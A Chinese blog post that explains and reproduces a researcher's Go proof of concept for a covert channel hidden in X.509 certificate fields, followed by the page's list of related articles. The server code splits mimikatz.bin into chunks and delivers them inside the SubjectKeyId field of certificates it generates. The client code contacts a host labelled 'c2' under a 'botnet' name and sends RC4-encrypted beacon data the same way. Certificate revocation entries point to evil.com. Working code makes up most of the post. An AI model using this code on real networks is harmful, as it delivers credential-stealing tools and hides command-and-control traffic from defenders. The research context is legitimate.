title: 使用X.509公钥证书传递进行隐匿传输数据

date: 2018-02-11 17:47:50

tags:

使用X.509公钥证书传递进行隐匿传输数据

看到国外一篇有关于在ssl认证过程中,通过证书传递达到一个隐匿传输数据的过程

TLS X.509证书有很多可以存储字符串的字段,可参见这张图片[16]。

这些字段包括版本、序列号、颁发者名称、有效期等。在研究中描述的证书滥用,就是将传输的数据隐藏在这些字段中的一个。由于证书交换在TLS会话建立之前,因此好像没有进行数据传输,而实际上数据在证书交换过程中传输。

给出作者的一个POC

server.go

/*
Server code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018 MIT License Copyright (c) 2018 Jason Reaves Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"fmt"
"io/ioutil"
"log"
"malcert_mimikatz_poc/helper"
"net"
) type active_client struct {
ip string
index int
} var currclient active_client func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
cert, _ := x509.ParseCertificate(rawCerts[0])
data := cert.SubjectKeyId
dec := helper.DecryptData(data)
fmt.Println("Received from client: ", dec)
return nil
} var bsize = 10000 func main() {
priv, _ := rsa.GenerateKey(rand.Reader, 4096)
ca, pv := helper.GenCert("EICAR", []byte{}, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv) fdata, _ := ioutil.ReadFile("mimikatz.bin")
sz := len(fdata)
iterations := sz / bsize
fmt.Println("Iterations until done: ", iterations) for {
cert, err := tls.X509KeyPair(ca, pv)
if err != nil {
log.Fatalf("server: loadkeys: %s", err)
}
config := tls.Config{Certificates: []tls.Certificate{cert}}
config.InsecureSkipVerify = true
config.VerifyPeerCertificate = verifyHook
config.ClientAuth = tls.RequireAnyClientCert
config.Rand = rand.Reader
service := "0.0.0.0:4433"
listener, err := tls.Listen("tcp", service, &config)
if err != nil {
log.Fatalf("server: listen: %s", err)
}
//log.Print("server: listening")
conn, err := listener.Accept()
if err != nil {
log.Printf("server: accept: %s", err)
break
}
defer conn.Close()
if currclient.ip == "" {
currclient.ip = conn.RemoteAddr().String()
currclient.index = 0
} else {
blob := []byte("DONE")
if currclient.index < iterations {
blob = fdata[currclient.index*bsize : (currclient.index+1)*bsize]
} else if currclient.index == iterations {
blob = fdata[currclient.index*bsize : sz]
} else {
currclient.index = 0
currclient.ip = ""
}
currclient.index += 1
ca, pv = helper.GenCertWithFile("EICAR", blob, priv)
}
log.Printf("server: accepted from %s", conn.RemoteAddr())
tlscon, ok := conn.(*tls.Conn)
if ok {
log.Print("ok=true")
state := tlscon.ConnectionState()
log.Print(state.PeerCertificates)
for _, v := range state.PeerCertificates {
log.Print(x509.MarshalPKIXPublicKey(v.PublicKey))
}
}
go handleClient(conn)
listener.Close()
}
} func handleClient(conn net.Conn) {
defer conn.Close()
buf := make([]byte, 512)
for {
log.Print("server: conn: waiting")
n, err := conn.Read(buf)
if err != nil {
if err != nil {
log.Printf("server: conn: read: %s", err)
}
break
}
log.Printf("server: conn: echo %q\n", string(buf[:n]))
n, err = conn.Write(buf[:n]) n, err = conn.Write(buf[:n])
log.Printf("server: conn: wrote %d bytes", n) if err != nil {
log.Printf("server: write: %s", err)
break
}
}
log.Println("server: conn: closed")
}

client.go

/*
Client code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018 MIT License Copyright (c) 2018 Jason Reaves Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main import (
"crypto/md5"
"crypto/rand"
"crypto/rsa"
"crypto/tls"
//"crypto/x509"
"bytes"
"fmt"
"log"
"malcert_mimikatz_poc/helper"
"time"
) type settings struct {
c2 string
port string
botnet string
priv *rsa.PrivateKey
} func SendData(settings settings, data string) {
//We can load cert data from files as well
//cert, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key")
ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv)
c2 := settings.c2 + ":" + settings.port
cert, err := tls.X509KeyPair(ca, pv)
if err != nil {
log.Fatalf("server: loadkeys: %s", err)
}
config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
fdata := []byte{}
for {
conn, err := tls.Dial("tcp", c2, &config)
if err != nil {
log.Fatalf("client: dial: %s", err)
}
log.Println("client: connected to: ", conn.RemoteAddr()) state := conn.ConnectionState()
rdata := []byte{}
for _, v := range state.PeerCertificates {
rdata = v.SubjectKeyId
if bytes.Compare(rdata, []byte("DONE")) == 0 {
break
}
fdata = append(fdata, v.SubjectKeyId...)
//fmt.Println("Tasks: ", v.CRLDistributionPoints)
}
if bytes.Compare(rdata, []byte("DONE")) == 0 {
log.Println("End of data reached")
break
}
conn.Close()
fmt.Println("Total Received: ", len(fdata))
time.Sleep(1)
}
fmt.Println("Data received: ", len(fdata))
fmt.Printf("Md5: %x", md5.Sum(fdata)) log.Print("client: exiting")
} func main() {
priv, _ := rsa.GenerateKey(rand.Reader, 4096)
c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv}
SendData(c2_settings, "Im Alive")
}

helper.go

/*
Helper code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018 MIT License Copyright (c) 2018 Jason Reaves Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package helper import (
"crypto/rand"
"crypto/rc4"
"crypto/rsa"
// "crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
//"encoding/asn1"
//"encoding/hex"
"encoding/pem"
//"fmt"
//"io/ioutil"
"log"
"math/big"
"time"
) func encryptData(data string) []byte {
key := make([]byte, 2)
_, err := rand.Read(key)
if err != nil {
log.Println("Random data creation error: ", err)
}
c, err := rc4.NewCipher(key)
enc := make([]byte, len(data))
c.XORKeyStream(enc, []byte(data)) //return hex.EncodeToString(enc)
return append(key, enc...)
} func DecryptData(data []byte) string {
key := data[:2]
c, err := rc4.NewCipher(key)
if err != nil {
log.Println("RC4 error: ", err)
}
dec := make([]byte, len(data[2:]))
c.XORKeyStream(dec, data[2:])
return string(dec[:])
} //func GenCertPriv(cn string, data string, crl []string) (*rsa.PrivateKey, []byte, []byte) {
// priv, _ := rsa.GenerateKey(rand.Reader, 4096)
// c, p := GenCert(cn, data, crl, priv)
// return priv, c, p
//} func GenCertWithFile(cn string, fdata []byte, priv *rsa.PrivateKey) ([]byte, []byte) {
return GenCert(cn, fdata, []string{}, priv)
} func GenCertWithString(cn string, data string, priv *rsa.PrivateKey) ([]byte, []byte) {
encData := encryptData(data)
return GenCert(cn, encData, []string{}, priv)
} func GenCert(cn string, data []byte, crl []string, priv *rsa.PrivateKey) ([]byte, []byte) {
//extSubKeyId := pkix.Extension{}
//extSubKeyId.Id = asn1.ObjectIdentifier{2, 5, 29, 14}
//extSubKeyId.Critical = true
//extSubKeyId.Value = []byte(`d99962b39e`) ca := &x509.Certificate{
SerialNumber: big.NewInt(1337),
Subject: pkix.Name{
Country: []string{"Neuland"},
Organization: []string{"Example Org"},
OrganizationalUnit: []string{"Auto"},
CommonName: cn,
},
Issuer: pkix.Name{
Country: []string{"Neuland"},
Organization: []string{"Skynet"},
OrganizationalUnit: []string{"Computer Emergency Response Team"},
Locality: []string{"Neuland"},
Province: []string{"Neuland"},
StreetAddress: []string{"Mainstreet 23"},
PostalCode: []string{"12345"},
SerialNumber: "23",
CommonName: cn,
},
SignatureAlgorithm: x509.SHA512WithRSA,
PublicKeyAlgorithm: x509.ECDSA,
NotBefore: time.Now(),
NotAfter: time.Now().AddDate(0, 0, 10),
//SubjectKeyId: encData,
BasicConstraintsValid: true,
IsCA: true,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
//ExtraExtensions: []pkix.Extension{extSubKeyId},
}
if len(data) > 0 {
//encData := encryptData(data)
//ca.SubjectKeyId = encData
ca.SubjectKeyId = data
}
if len(crl) > 0 {
ca.CRLDistributionPoints = crl
} //priv, _ := rsa.GenerateKey(rand.Reader, 4096)
privPem := pem.EncodeToMemory(&pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(priv),
})
pub := &priv.PublicKey
ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)
if err != nil {
log.Fatalf("create cert failed %#v", err)
panic("Cert Creation Error")
} certPem := pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE",
Bytes: ca_b,
}) return certPem, privPem }

这里主要做个笔记记录一下,原文在这里

SSL公钥证书传递进行隐匿传输数据的更多相关文章

  1. OpenSSL 与 SSL 数字证书概念贴

    SSL/TLS 介绍见文章 SSL/TLS原理详解(http://seanlook.com/2015/01/07/tls-ssl). 如果你想快速自建CA然后签发数字证书,请移步 基于OpenSSL自 ...

  2. SSL安全证书-概念解析

    一.关于证书 数字证书是一种认证机制.简单点说,它代表了一种由权威机构颁发授权的安全标志. 由来 在以前,传统网站采用HTTP协议进行数据传输,所有的数据几乎都用的明文,很容易发生隐私泄露.为了解决安 ...

  3. [转]浅谈https\ssl\数字证书

    浅谈https\ssl\数字证书 http://www.cnblogs.com/P_Chou/archive/2010/12/27/https-ssl-certification.html 全球可信的 ...

  4. docker项目ssl 安全证书的种种

    一,证书挂着宿主的nginx上 这个很简单,只需要修改宿主nginx的配置文件即可 server { ssl default; server_name www.abc.com; #项目域名 ssl_c ...

  5. 从PFX文件中获取私钥、公钥证书、公钥

    https://blog.csdn.net/ZuoYanYouYan/article/details/77868584 该类具体功能:根据pfx证书得到私钥.根据私钥字节数组获取私钥对象.根据公钥字节 ...

  6. 浅谈https\ssl\数字证书

    全球可信的SSL数字证书申请:http://www.shuzizhengshu.com 在互联网安全通信方式上,目前用的最多的就是https配合ssl和数字证书来保证传输和认证安全了.本文追本溯源围绕 ...

  7. 【转】浅谈https\ssl\数字证书

    转载请注明出处:http://www.cnblogs.com/P_Chou/archive/2010/12/27/https-ssl-certification.html 全球可信的SSL数字证书申请 ...

  8. https证书/即SSL数字证书申请途径和流程

    国际CA机构GlobalSign中国 数字证书颁发中心网站:http://cn.globalsign.com    https证书即SSL数字证书,是广泛用 于网站通讯加密传输的解决方案,是提供通信保 ...

  9. 腾讯云TrustAsia DV SSL CA证书的申请及使用

    1.证书申请及管理     对于已经拥有域名及公网服务器的用户,可以通过腾讯云申请TrustAsia DV SSL CA证书,证书申请流程包含填写基本信息和域名认证两步,非常清晰和简单,没有什么需要过 ...

随机推荐

  1. spring get方法 中文(UTF-8)乱码

    问题: 前端用Get方法进行如下请求: 在浏览器中输入:http://localhost:8080/dmaList/ExportBySQL?sql=&names=分区级别&size=1 ...

  2. 快速回顾MySQL:简单查询操作

    利用空闲时间花几分钟回顾一下 7.1 检索数据 为了查询出数据库表中的行(数据),使用SELECE语句. 格式: # 第一种 SELECT * FROM <table_name>; # 第 ...

  3. Java8 新特性(二)- Stream

    Stream 用来处理集合数据的,通过 stream 操作可以实现 SQL 的拥有的大部分查询功能 Java8 API 官方文档 下面借助例子,演示 stream 操作 Java userList 列 ...

  4. 字符串转hash

    #include<bits/stdc++.h> using namespace std; unsigned hash[]; ; int ans; int main() { ;k<=; ...

  5. Nginx. 用http访问https跨域

    用http 访问 https域名, 报跨越问题 解决方法: 在nginx相应服务的转发配置下添加: add_header 'Access-Control-Allow-Origin' 'http://i ...

  6. double涉及大数据的时候会变成科学计数法

    double b=1.23456789128E8DecimalFormat df = new DecimalFormat("0.00");//精度自己控制保留几位小数点 Strin ...

  7. [bzoj1005] [洛谷P2624] 明明的烦恼

    Description 自从明明学了树的结构,就对奇怪的树产生了兴趣-- 给出标号为1到N的点,以及某些点最终的度数,允许在任意两点间连线,可产生多少棵度数满足要求的树? Input 第一行为N(0 ...

  8. 13、python的路径处理

    前言:本文主要介绍python中路径的处理,包括os模块和有关的2个魔法变量. 一.os模块 python里面的os模块有许多方法可以让我们通过代码实现创建,删除和更改目录,具体如下: os.getc ...

  9. SSM前后端分离/不分离对比Demo

    之前某些原因,整理了一个小的Demo,用于演示.个人认为在SSM前后端不分离的基础上在前端处理上比较麻烦一点之后就是注解的使用.总结一些对比,仅是自己掌握的,不够严谨,不足之处请大佬批评指正. 路由控 ...

  10. C++封装的基于WinSock2的TCP服务端、客户端

    无聊研究Winsock套接字编程,用原生的C语言接口写出来的代码看着难受,于是自己简单用C++封装一下,把思路过程理清,方便自己后续翻看和新手学习. 只写好了TCP通信服务端,有空把客户端流程也封装一 ...